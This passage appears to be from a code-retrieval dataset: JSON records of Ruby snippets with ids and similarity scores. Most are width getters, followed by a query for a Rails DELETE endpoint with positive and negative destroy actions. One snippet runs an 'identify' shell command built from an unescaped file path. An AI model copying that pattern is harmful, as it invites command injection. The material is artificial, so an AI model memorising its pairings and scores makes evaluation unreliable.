').last.to_i end", "title": "" }, { "docid": "ad23a5da3b7103fba845cbbd1f9e6d2f", "score": "0.675601", "text": "def width\n @image.width\n end", "title": "" }, { "docid": "ad23a5da3b7103fba845cbbd1f9e6d2f", "score": "0.675601", "text": "def width\n @image.width\n end", "title": "" }, { "docid": "4afe588b9def7826d09bdb215fc42257", "score": "0.6741909", "text": "def width()\n return (self.bitmap.width - @wave_amp * 2)\n end", "title": "" }, { "docid": "bcca5d53134a0ea5e1e13d1d8bd46a34", "score": "0.67329264", "text": "def width\n size['width']\n end", "title": "" }, { "docid": "2ed657f18d5c3addbda7dc1761328563", "score": "0.6726539", "text": "def width\n @width ||= size.last.split('x').first.strip!.to_i\n end", "title": "" }, { "docid": "b304b8e6fa23e0855d0de255f2902d69", "score": "0.67104906", "text": "def getWidth\r\n\t\treturn @width\r\n\tend", "title": "" }, { "docid": "761d1ea5ef13fc175d33393ca7b1f858", "score": "0.67053", "text": "def original_width\n @geometry.width.to_i\n end", "title": "" }, { "docid": "d72e678d26738e2c05a5874a31f38b9b", "score": "0.6701224", "text": "def width\n @png.width\n end", "title": "" }, { "docid": "d72e678d26738e2c05a5874a31f38b9b", "score": "0.6699817", "text": "def width\n @png.width\n end", "title": "" }, { "docid": "0da7b3e02290659a99e96aea39bcf3e9", "score": "0.66768223", "text": "def width\n return @sizeX ;\n end", "title": "" }, { "docid": "0da7b3e02290659a99e96aea39bcf3e9", "score": "0.66768223", "text": "def width\n return @sizeX ;\n end", "title": "" }, { "docid": "7ba9ffc59b9a1a5b62ebe721ec9114b7", "score": "0.6664919", "text": "def width\n @ciimage ? @ciimage.extent.size.width : CGImageGetWidth(@cgimage)\n end", "title": "" }, { "docid": "138e6284576a1c54efb24177a40453ec", "score": "0.6663123", "text": "def width\n @sdl_surface.w\n end", "title": "" }, { "docid": "dabaa77a678cdbd64222ddccb39682f5", "score": "0.66586375", "text": "def width\n FFI::GMagick.MagickGetImageWidth( @wand ).to_f\n end", "title": "" }, { "docid": "2612441911763be254dda3265c304691", "score": "0.6624847", "text": "def pixel_width\n return nil if null?\n\n @gdal_geo_transform[1].read_double\n end", "title": "" }, { "docid": "03260b87cf2cbcb8a5364ff46ce882b5", "score": "0.6621591", "text": "def shape_count\r\n \r\n return @shapes.size\r\n\r\n end", "title": "" }, { "docid": "f502599ef358bf39ae3f97f8025becc6", "score": "0.66126245", "text": "def image_width\n bottom_left = @state.ctm_transform(0, 0)\n bottom_right = @state.ctm_transform(1, 0)\n\n Math.hypot(bottom_left.first-bottom_right.first, bottom_left.last-bottom_right.last)\n end", "title": "" }, { "docid": "115d22b03f386801f7d945bd98cab308", "score": "0.6600378", "text": "def width\n size.width\n end", "title": "" }, { "docid": "6564102149340954071a985c6b18700e", "score": "0.65941036", "text": "def width\n if dimension\n w = dimension[0]\n if pixel_aspect_ratio != 1\n return (w * pixel_aspect_ratio).round\n end\n w\n end\n end", "title": "" }, { "docid": "4c50a3a5bf3cf66c4bfea56dd2d4e6ca", "score": "0.6593934", "text": "def width\n @automation_element.current.bounding_rectangle.width.to_i\n end", "title": "" }, { "docid": "87c567ac8ebdda7193968b03eac0e39c", "score": "0.6586126", "text": "def getWidth\n \t@width\n end", "title": "" }, { "docid": "9a869e6f713929d3c89aeb34a6890d5b", "score": "0.65826035", "text": "def width; @ifds.first.width; end", "title": "" }, { "docid": "5f498774595fa7e87eba0876399c07c8", "score": "0.6580339", "text": "def width\n if image.interlaced?\n image.adam7.scanline_width(idx)\n else\n image.width\n end\n end", "title": "" }, { "docid": "1d703d2df0d00d8fdbcb863fe863bb0c", "score": "0.65725964", "text": "def shape_count\n\t\t@shapes.size\n\tend", "title": "" }, { "docid": "fc2fa8553fcd4b929a6b208186a6797a", "score": "0.6571166", "text": "def width\n @x1 - @x0\n end", "title": "" }, { "docid": "fedfaf8907df2e3b0ecd5d05849345c8", "score": "0.6564153", "text": "def width\n vips_image.width\n end", "title": "" }, { "docid": "827398faa2c47f756b878def74d6ac54", "score": "0.65572405", "text": "def shape_count\n @shapes.size\n end", "title": "" }, { "docid": "7c8a0c8e3f08931193f52022efab0dd8", "score": "0.6537574", "text": "def width\r\n return 0 if bitmap.nil?\r\n return self.bitmap.width * self.zoom_x\r\n end", "title": "" }, { "docid": "66b0ade9a4b1a5ea0c50993b4943ffd5", "score": "0.6511966", "text": "def width\n return @texture ? @texture.width : 0\n end", "title": "" }, { "docid": "83261b6725a0af3eab77e8000921bcd1", "score": "0.6494623", "text": "def width\n (@top_left[0] - @bottom_right[0]).abs\n end", "title": "" }, { "docid": "e0387599a8491f72cbba3ceadbdf71be", "score": "0.6488696", "text": "def pixelWidth\n width*256\n end", "title": "" }, { "docid": "93a9420a730ff0158c129bc1aa841290", "score": "0.6481914", "text": "def width()\n return @width\n end", "title": "" }, { "docid": "9926984fbd943c4a744419b8b843384f", "score": "0.64812183", "text": "def width\n image[\"resource\"][\"width\"].to_i\n end", "title": "" }, { "docid": "11a48068796187b5e113b84bfc7841d1", "score": "0.6465838", "text": "def width\n canvas_width - right_margin - left_margin\n end", "title": "" }, { "docid": "26b917581120c058bb336ebd72aca79e", "score": "0.64542246", "text": "def perimeter\n\n length = 0\n edges = []\n \n # First collect all of the edges that bound all of the selected faces.\n model = Sketchup.active_model\n ss = model.selection\n for ent in ss\n if( ent.is_a? Sketchup::Face )\n edges.concat ent.edges\n end\n end\n \n # remove duplicate edges\n edges.uniq!\n \n # sum the lengths of all of the edges\n edges.each {|e| length += e.length}\n \n length\nend", "title": "" }, { "docid": "e3bc31edbff9a2e0eeec9df5f31c94ec", "score": "0.64421284", "text": "def width_of(asset = self.asset)\n img = FastImage.size(asset.filename)\n img.fetch(\n 0\n )\n end", "title": "" }, { "docid": "232e32b48d06a7ce59f853ff19377f45", "score": "0.64402556", "text": "def width\n `#{@img}.width`\n end", "title": "" }, { "docid": "35d4648831d417798a631f127267fe64", "score": "0.64390665", "text": "def dimensions\r\n @components.length\r\n end", "title": "" }, { "docid": "1abf16ffdcc204d03605901c4322403c", "score": "0.64377385", "text": "def width\n # FIXME: save this and height in db instead\n im = Magick::Image.read path\n return im[0].columns\n end", "title": "" }, { "docid": "fb3c07cd50fcccc693f34396a40aa68d", "score": "0.6430791", "text": "def length\n surface_form.length\n end", "title": "" }, { "docid": "b1437ceb8da5331988ab44da855cabe2", "score": "0.6428208", "text": "def width\n object[\"width\"]\n end", "title": "" }, { "docid": "e3427d2479df00dbeb5cd026bef7a845", "score": "0.64186835", "text": "def width\n mini_magic_image[:width]\n end", "title": "" }, { "docid": "6df46480e5e7a14f7169bbb2a968fbd6", "score": "0.64122045", "text": "def width\n ng_xml.css(\"fits > metadata > image > imageWidth\").map(&:text)\n end", "title": "" }, { "docid": "e4654202210ae130f90207a3d4e4902a", "score": "0.6403259", "text": "def width\n horizontal.size\n end", "title": "" }, { "docid": "e6c3b37e015a927c5853c7ebd7a01cce", "score": "0.63625515", "text": "def get_dimension\n f = not_gif?(model.file) ? model.file.thumb.path : model.file.path\n cmd = \"identify -format \\\"%wx%h\\\" #{f}\"\n puts cmd\n res = `#{cmd}`.split(/x/)\n model.width, model.height = res.first, res.last\n puts \"Dimension: #{model.width}x#{model.height}\"\n model.height -= ImageUploader::FooterHeight if not_gif?(model.file)\n end", "title": "" }, { "docid": "aa9dd88955eed06d266218bb77d1af2c", "score": "0.63596606", "text": "def width\n element.wd.size['width']\n end", "title": "" }, { "docid": "70e8184e8e87422f8985c4827558d717", "score": "0.63517076", "text": "def width() @punks.width; end", "title": "" }, { "docid": "d081f273b4de2c05f262d7bc8b91dd6b", "score": "0.63479954", "text": "def width\n @properties[\"width\"]\n end", "title": "" }, { "docid": "20aba2d8019ecf7a02b73a6e2518f993", "score": "0.63477546", "text": "def width\n `#{client_rect}.width`\n end", "title": "" }, { "docid": "0c54862f14d682e31d5c220b4a149187", "score": "0.6328677", "text": "def width\n return @width\n end", "title": "" }, { "docid": "0c54862f14d682e31d5c220b4a149187", "score": "0.6328677", "text": "def width\n return @width\n end", "title": "" }, { "docid": "ea1448184b08bdf07d9ed82b905d8fa8", "score": "0.6310452", "text": "def nDimensions\n\t\tend", "title": "" }, { "docid": "aa5cb59ef8409690cca5ce1322a89359", "score": "0.63094324", "text": "def width\n assert_exists\n return @o.invoke(\"width\").to_s\n end", "title": "" }, { "docid": "aa5cb59ef8409690cca5ce1322a89359", "score": "0.63094324", "text": "def width\n assert_exists\n return @o.invoke(\"width\").to_s\n end", "title": "" }, { "docid": "f9ddc00d3b36dafce8a1665367e518ca", "score": "0.6305733", "text": "def width!\n size![1]\n end", "title": "" }, { "docid": "a93ce01f7a6aaafe5f0efe2aa339f025", "score": "0.6297701", "text": "def width\n metadata[:width]\n end", "title": "" }, { "docid": "5240d9990b834acf0f55687be0ea36b2", "score": "0.62918186", "text": "def width\n sz = _window_size\n sz && sz.first\n end", "title": "" }, { "docid": "d8c6a8891761c68ec4ffcd27c45c4fd9", "score": "0.62904847", "text": "def width\n (xn - x) + 1\n end", "title": "" }, { "docid": "86bfadd42da4662b853ded8057bea8ff", "score": "0.6285329", "text": "def width\n # TODO: auto unit conversion\n measurement(2).try(:measurement)\n end", "title": "" }, { "docid": "d331595cecee5591b46c6d9d4fe015f3", "score": "0.6284232", "text": "def width\n return @map.width\n end", "title": "" }, { "docid": "c63b8d49ebeff01703e7e4ab6177ec71", "score": "0.6273533", "text": "def width #determines the width of the rectangle\n\t\tw = split_words_in_array.sort_by {|x| x.length}.last.length + 4\n\tend", "title": "" }, { "docid": "f5c8b77e0cc2b01f2d39a3973984c438", "score": "0.6267067", "text": "def width\n @radius\n end", "title": "" }, { "docid": "5a07a1b820924f9abf54aef2c84b21fc", "score": "0.62558943", "text": "def dimensions\n @context.image_size(@image)\n end", "title": "" }, { "docid": "7ce0c19dc35e7325185827d2cbbb41c7", "score": "0.62395513", "text": "def pixel_width\n @pixel_width ||= (double_pixels_detected? ? 2 : 1)\n end", "title": "" }, { "docid": "7ce0c19dc35e7325185827d2cbbb41c7", "score": "0.6238544", "text": "def pixel_width\n @pixel_width ||= (double_pixels_detected? ? 2 : 1)\n end", "title": "" }, { "docid": "0f141c8107e9f1d3ae968488536b9df1", "score": "0.6238369", "text": "def height\n @graphic.split(\"\\n\").length\n end", "title": "" }, { "docid": "b61a4abfabf8e6c43e8fde6f95f16527", "score": "0.62366027", "text": "def width\n @entity.w\n end", "title": "" }, { "docid": "2925ef804b559bec72f2c31d9f9b7681", "score": "0.6235583", "text": "def dimensions\n controls[0].size\n end", "title": "" }, { "docid": "47b467c4ac0011014f3fd0f64883a3be", "score": "0.622968", "text": "def get_width\n \t@width\n end", "title": "" }, { "docid": "1f1593aabb4973f9789f12c7ba747ccf", "score": "0.6224194", "text": "def width\n (bx..bxn).size\n end", "title": "" }, { "docid": "49bdf91f5caf42194ee1540c8b030366", "score": "0.62231934", "text": "def length\n return @rectangles.length\n end", "title": "" }, { "docid": "cd537cc90ef6542a0dbd31e7d82b9d9f", "score": "0.621366", "text": "def paper_width; end", "title": "" }, { "docid": "6075323112dae20e5a88158cc13222b0", "score": "0.6211661", "text": "def width\n metadata.width\n end", "title": "" }, { "docid": "1870f99bf43e563e81fe973e9d5aa742", "score": "0.6204711", "text": "def width\n get_width\n end", "title": "" } ]
1335733f6d91f27f725f43975a4eed83
DELETE /pruebas/1 DELETE /pruebas/1.json
[ { "docid": "5f03046a668a05a3f7493c8bc89093b5", "score": "0.6909464", "text": "def destroy\n @prueba.destroy\n respond_to do |format|\n format.html { redirect_to pruebas_url, notice: 'Prueba was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.74451786", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "b445c184893647d3482f8fbc6a507a52", "score": "0.7338168", "text": "def delete(path, params = {})\n path += '.json'\n res = @connection.delete(path, @header)\n parse_response(res)\n end", "title": "" }, { "docid": "c062641bed95297a1f5e06f6a7986101", "score": "0.71889985", "text": "def destroy\n @prueba1 = Prueba1.find(params[:id])\n @prueba1.destroy\n\n respond_to do |format|\n format.html { redirect_to prueba1s_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "75a785bddc2252b3dfe08070dcb44399", "score": "0.71872467", "text": "def delete(args)\n if args[:json]\n post(args.merge(method: :delete))\n else\n get(args.merge(method: :delete))\n end\n end", "title": "" }, { "docid": "bd01164c6edd3314ec13ec01f586fae8", "score": "0.7182482", "text": "def destroy\n @pelicula = Pelicula.find(params[:id])\n @pelicula.destroy\n render json: {message: 'Eliminated'}, status: :ok\n\n end", "title": "" }, { "docid": "773e5d611adeb09776f9c841e1b876cc", "score": "0.7141564", "text": "def delete_json(path, params = {}, headers = {})\n json_request(:delete, path, params, headers)\n end", "title": "" }, { "docid": "887432e4b57a71666f432ad34958877c", "score": "0.7073647", "text": "def destroy\n @solicitud = Solicitud.find(params[:id])\n @solicitud.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "72ac27a7d3c22d92045e3a96b3178ab6", "score": "0.7066346", "text": "def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0879ade66bdab83e51e8da609fb6b45b", "score": "0.7041071", "text": "def destroy\n @resposta = Resposta.find(params[:id])\n @resposta.destroy\n\n respond_to do |format|\n format.html { redirect_to respostas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "47a3c9c28e1fcd0fcae5ea58416b42bd", "score": "0.70410544", "text": "def delete(path)\n api :delete, path\n end", "title": "" }, { "docid": "9106867cee9e8775ba817195d3bc2020", "score": "0.7036738", "text": "def delete_rest(path) \n run_request(:DELETE, create_url(path)) \n end", "title": "" }, { "docid": "0387aa3c568d857184e97a214e580a14", "score": "0.7033748", "text": "def delete(path, params = {}, payload = {})\n JSON.parse Generic.delete(@base_url, @headers, path, params, payload)\n end", "title": "" }, { "docid": "b56652a7c92cd70308c2de649be36aa6", "score": "0.70320094", "text": "def destroy\n @pelicula = Pelicula.find(params[:id])\n @pelicula.destroy\n\n respond_to do |format|\n format.html { redirect_to peliculas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b56652a7c92cd70308c2de649be36aa6", "score": "0.70320094", "text": "def destroy\n @pelicula = Pelicula.find(params[:id])\n @pelicula.destroy\n\n respond_to do |format|\n format.html { redirect_to peliculas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b069af6ed882aa3d1229f80526b92fa0", "score": "0.7028574", "text": "def destroy\n @presencia = Presencia.find(params[:id])\n @presencia.destroy\n\n respond_to do |format|\n format.html { redirect_to presencia_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "0674f1b6f8e6fd33271b36be2baf448b", "score": "0.70281565", "text": "def destroy\n @tipo_apuestum = TipoApuestum.find(params[:id])\n @tipo_apuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_apuesta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bcbdbdd02e54abe1d00fca401e0f8c43", "score": "0.70114607", "text": "def destroy\n @servico_cruzeiro.destroy\n respond_to do |format|\n format.html { redirect_to servico_cruzeiros_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0063393becfeea5760b7e0e3a0f34cc8", "score": "0.7010266", "text": "def destroy\n @comunidad.destroy\n respond_to do |format|\n format.html { redirect_to comunidades_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f66b6447dc8c35ed0f9d522bd69f1547", "score": "0.7005042", "text": "def destroy\n @contenido.destroy\n respond_to do |format|\n format.html { redirect_to contenidos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6aacef0a41b0cab169d450bf06d67c78", "score": "0.70018446", "text": "def destroy\n @apuestum = Apuestum.find(params[:id])\n @apuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to apuesta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dce2f7595dd93b9578936c70843ef1fb", "score": "0.699494", "text": "def destroy\n @pruebaloca = Pruebaloca.find(params[:id])\n @pruebaloca.destroy\n\n respond_to do |format|\n format.html { redirect_to pruebalocas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c1cde2518cb592b6add14fe05ae1b37d", "score": "0.69919235", "text": "def delete\n options = self.to_h \n uri = self.class.path_builder(:delete, self.id)\n data = {}\n data['id'] = self.id \n data = data.to_json\n VivialConnect::Client.instance.make_request('DELETE', uri, data)\n end", "title": "" }, { "docid": "586b2ec4bc191be6d3e9a0fcef469bd0", "score": "0.6988271", "text": "def destroy\n @proyecto.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "904aa296352b2c896fee466cd2494ede", "score": "0.69873834", "text": "def destroy\n @detalleapuestum = Detalleapuestum.find(params[:id])\n @detalleapuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to detalleapuesta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f51649e2f09509e264882cde13984172", "score": "0.6985915", "text": "def destroy\n @tipo_seguro = TipoSeguro.find(params[:id])\n @tipo_seguro.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_seguros_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dde918e4b45cab95617fddf5988d048d", "score": "0.6985775", "text": "def destroy\n @reuniao.destroy\n respond_to do |format|\n format.html { redirect_to reunioes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e04c4276c3163481210f8909b09b0e32", "score": "0.6974683", "text": "def destroy\n @servico_passeio.destroy\n respond_to do |format|\n format.html { redirect_to servico_passeios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2f51201a2f434321270003d593d92362", "score": "0.6969967", "text": "def destroy\n @veiculo.destroy\n respond_to do |format|\n format.html { redirect_to veiculos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7452c4d15daf08108aaa5a1b728adb31", "score": "0.69699347", "text": "def destroy\n @json.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "36641f85900fdeacd592614a2b5a426d", "score": "0.6968096", "text": "def destroy\n @composante = Composante.find(params[:id])\n @composante.destroy\n\n respond_to do |format|\n format.html { redirect_to composantes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1abb26bf31f5093c3848b2927ff648be", "score": "0.69542825", "text": "def destroy\n @aplicacion = Aplicacion.find(params[:id])\n @aplicacion.destroy\n\n respond_to do |format|\n format.html { redirect_to aplicaciones_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "57b799133d29316426c358002043baa2", "score": "0.6952816", "text": "def delete_rest(path, headers={}) \n run_request(:DELETE, create_url(path), headers) \n end", "title": "" }, { "docid": "7dcf2b66db6f87752bd1b6f60193588b", "score": "0.69487566", "text": "def destroy\n @unidad.destroy\n respond_to do |format|\n format.html { redirect_to unidad_index_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "14d277ffe58c8467331401d654b84bc3", "score": "0.6948705", "text": "def destroy\n @pesquisa = Pesquisa.find(params[:id])\n @pesquisa.destroy\n\n respond_to do |format|\n format.html { redirect_to pesquisas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3fc09c47cf7791434e21495645d9870c", "score": "0.69440055", "text": "def destroy\n @punto_servicio = PuntoServicio.find(params[:id])\n @punto_servicio.destroy\n\n respond_to do |format|\n format.html { redirect_to punto_servicios_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "1afd2afcaf21e327ea307fc6bed21586", "score": "0.6943268", "text": "def destroy\n @atribuicao.destroy\n respond_to do |format|\n format.html { redirect_to atribuicaos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f4c12907e5176c7a55c882a4b5567a28", "score": "0.6939712", "text": "def destroy\n @oficio = Oficio.find(params[:id])\n @oficio.destroy\n\n respond_to do |format|\n format.html { redirect_to oficios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d4f40041b3ac1555fd9c6d95c1260292", "score": "0.69387615", "text": "def destroy\n @comuna.destroy\n respond_to do |format|\n format.html { redirect_to comunas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "153ef2b38b3dc6f815102a24eab8aa7a", "score": "0.6938201", "text": "def destroy\n @preco_servico.destroy\n respond_to do |format|\n format.html { redirect_to preco_servicos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f57488830e1ae18466c48a26722fd7d7", "score": "0.6936276", "text": "def destroy\n @proyectoetapa.destroy\n respond_to do |format|\n format.html { redirect_to proyectoetapas_url, notice: 'Proyectoetapa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "822ddea2e45bf78350003645efcbdb54", "score": "0.69342846", "text": "def delete uri, args = {}; Request.new(DELETE, uri, args).execute; end", "title": "" }, { "docid": "01a963b6dea8c3a309e596f9b9081118", "score": "0.693347", "text": "def destroy\n @comuna = Comuna.find(params[:id])\n @comuna.destroy\n\n respond_to do |format|\n format.html { redirect_to comunas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "27abbd952ef7179f6df06c073ad59f6b", "score": "0.69325787", "text": "def destroy\n @idioma = Idioma.find(params[:id])\n @idioma.destroy\n\n respond_to do |format|\n format.html { redirect_to idiomas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6019c1cbaa6764b313900ceeab920d3d", "score": "0.6929857", "text": "def destroy\n @recetum = Recetum.find(params[:id])\n @recetum.destroy\n\n respond_to do |format|\n format.html { redirect_to receta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6a19ba99f0d1f7225b5ed73fe068136d", "score": "0.69251764", "text": "def delete(path, params: {}, headers: {})\n request_json :delete, path, params, headers\n end", "title": "" }, { "docid": "62bd83caf7ad939b7afc6e1746f25b7b", "score": "0.6924883", "text": "def delete\n @layout = \"back\"\n puts \"Destruction en attente\"\n\n @produit.delete!\n respond_to do |format|\n format.html { redirect_to produits_url, notice: 'Produit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e9fe84fd59751427f89e6fd127181e75", "score": "0.692426", "text": "def destroy\n @recetum = Recetum.find(params[:id])\n @recetum.destroy\n\n respond_to do |format|\n format.html { redirect_to receta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c2a34c52e18ea4a8ac20963418ab0158", "score": "0.69237316", "text": "def destroy\n @tipo_analise.destroy\n respond_to do |format|\n format.html { redirect_to tipo_analises_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "15c557e98152343c00483bb2655c9fcf", "score": "0.69236726", "text": "def destroy\n @precio = Precio.find(params[:id])\n @precio.destroy\n\n respond_to do |format|\n format.html { redirect_to precios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d900d8c10e18265a531ee7312c637612", "score": "0.69201016", "text": "def destroy\n @preguntum.destroy\n respond_to do |format|\n format.html { redirect_to pregunta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ca5d9fc72823294dbfbdccac5066a54b", "score": "0.69173557", "text": "def destroy\n @motivo_consulta = MotivoConsulta.find(params[:id])\n @motivo_consulta.destroy\n\n respond_to do |format|\n format.html { redirect_to motivos_consulta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "255dc840633d4ba23486d45f97347175", "score": "0.6916458", "text": "def destroy\n @prueba = Prueba.find(params[:id])\n @prueba.destroy\n \n respond_to do |format|\n format.html { redirect_to pruebas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "befbbfee69356e2e8d74e3feb5d8ec0a", "score": "0.69157714", "text": "def destroy\n @puntaje = Puntaje.find(params[:id])\n @puntaje.destroy\n\n respond_to do |format|\n format.html { redirect_to puntajes_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "b79ff55ed3a4553c996ee27d4519dc22", "score": "0.6915137", "text": "def destroy\n @porada.destroy\n respond_to do |format|\n format.html { redirect_to poradas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "17608bcf71a72d9868c611c8c81a1ac4", "score": "0.6914731", "text": "def destroy\n\n @idioma.destroy\n respond_to do |format|\n format.html { redirect_to idiomas_path(@idioma, egresso_id: @idioma.egresso_id), notice: 'Idioma excluído com sucesso.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d8c484ef247ad1a8ebfca1f29a66d22d", "score": "0.69145805", "text": "def destroy\n @ejercicio1 = Ejercicio1.find(params[:id])\n @ejercicio1.destroy\n\n respond_to do |format|\n format.html { redirect_to ejercicio1s_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "815fee21d924284c1bc5b4516ae4262c", "score": "0.6911235", "text": "def destroy\n @aporte = Aporte.find(params[:id])\n @aporte.destroy\n\n respond_to do |format|\n format.html { redirect_to aportes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "815fee21d924284c1bc5b4516ae4262c", "score": "0.6911235", "text": "def destroy\n @aporte = Aporte.find(params[:id])\n @aporte.destroy\n\n respond_to do |format|\n format.html { redirect_to aportes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b8d6652cf6cd32b6b29a8b213253271d", "score": "0.6908792", "text": "def destroy\n @eleicao_chapa = Eleicao::Chapa.find(params[:id])\n @eleicao_chapa.destroy\n\n respond_to do |format|\n format.html { redirect_to eleicao_chapas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2f34ec3e4ad665020b06b00de2d3e5fe", "score": "0.6907749", "text": "def destroy\n @est_comentario.destroy\n respond_to do |format|\n format.html { redirect_to est_comentarios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2baa01f535e097ecc7a04a13086c5694", "score": "0.6906725", "text": "def destroy\n @padecimiento.destroy\n respond_to do |format|\n format.html { redirect_to padecimientos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3b6e71435585e0fe445bb86f65f16a30", "score": "0.6906635", "text": "def destroy\n @v2_pessoa.destroy\n respond_to do |format|\n format.html { redirect_to v2_pessoas_url, notice: \"Pessoa was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "325e3df61887ae18cacda37bbb1b90e3", "score": "0.69061387", "text": "def destroy\n @testudo = Testudo.find(params[:id])\n @testudo.destroy\n\n respond_to do |format|\n format.html { redirect_to testudos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2f601db9334d903ec05d6e18f65acc95", "score": "0.6905656", "text": "def destroy\n @bodega_pedido.destroy\n respond_to do |format|\n format.html { redirect_to bodega_pedidos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "00c90bc63b0302afbbc4b2979ae20b57", "score": "0.69048077", "text": "def api_delete(path, data = {})\n api_request(:delete, path, :data => data).parsed\n end", "title": "" }, { "docid": "28bd18c4fd8609e62f97769a53448785", "score": "0.6904148", "text": "def destroy\n @puesto = Puesto.find(params[:id])\n @puesto.destroy\n\n respond_to do |format|\n format.html { redirect_to puestos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f208b6c36426d80d818189c014d41af7", "score": "0.69020975", "text": "def destroy\n @ocorrenciaveiculo.destroy\n respond_to do |format|\n format.html { redirect_to ocorrenciaveiculos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ba67ebd85114998e01be10599c8943ca", "score": "0.6901842", "text": "def delete(path)\n RestClient.delete request_base+path\n end", "title": "" }, { "docid": "93091e86fb68e10c4ebc58e115860a0d", "score": "0.690019", "text": "def destroy\r\n @baja_asignatura.destroy\r\n respond_to do |format|\r\n format.html { redirect_to baja_asignaturas_url, notice: 'Su petición de baja fue eliminada.' }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "ccadee36ba3a4936922b49962b77fb91", "score": "0.68986946", "text": "def destroy\n @contadore.destroy\n respond_to do |format|\n format.html { redirect_to contadores_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b063282e6378ad703e64023658409795", "score": "0.68975097", "text": "def destroy\n @amiante.destroy\n respond_to do |format|\n format.html { redirect_to amiantes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4d3aec9078b542e2abfbc5dc422a2706", "score": "0.6896117", "text": "def destroy\n @orcamento.destroy\n respond_to do |format|\n format.html { redirect_to orcamentos_url }\n format.json { head :no_content }\n end\n\n\n end", "title": "" }, { "docid": "773a6221897fee3ed57c7a0c430c9c2f", "score": "0.6895465", "text": "def destroy\n @comando.destroy\n respond_to do |format|\n format.html { redirect_to comandos_url, notice: 'Comando was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4055e2485131ecbdc5652898f3eec8e1", "score": "0.68916416", "text": "def destroy\n @exfono.destroy\n respond_to do |format|\n format.html { redirect_to exfonos_url, notice: 'Exfono was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b6db2bfd7e105be65ed231e3d8849af0", "score": "0.68915266", "text": "def destroy\n @tiposuario.destroy\n respond_to do |format|\n format.html { redirect_to tiposuarios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fad271cd72131e6ebb84e43cf191d124", "score": "0.6889252", "text": "def destroy\n @dados_banco.destroy\n respond_to do |format|\n format.html { redirect_to dados_bancos_url }\n format.json { head :no_content }\n end\n end", "title": 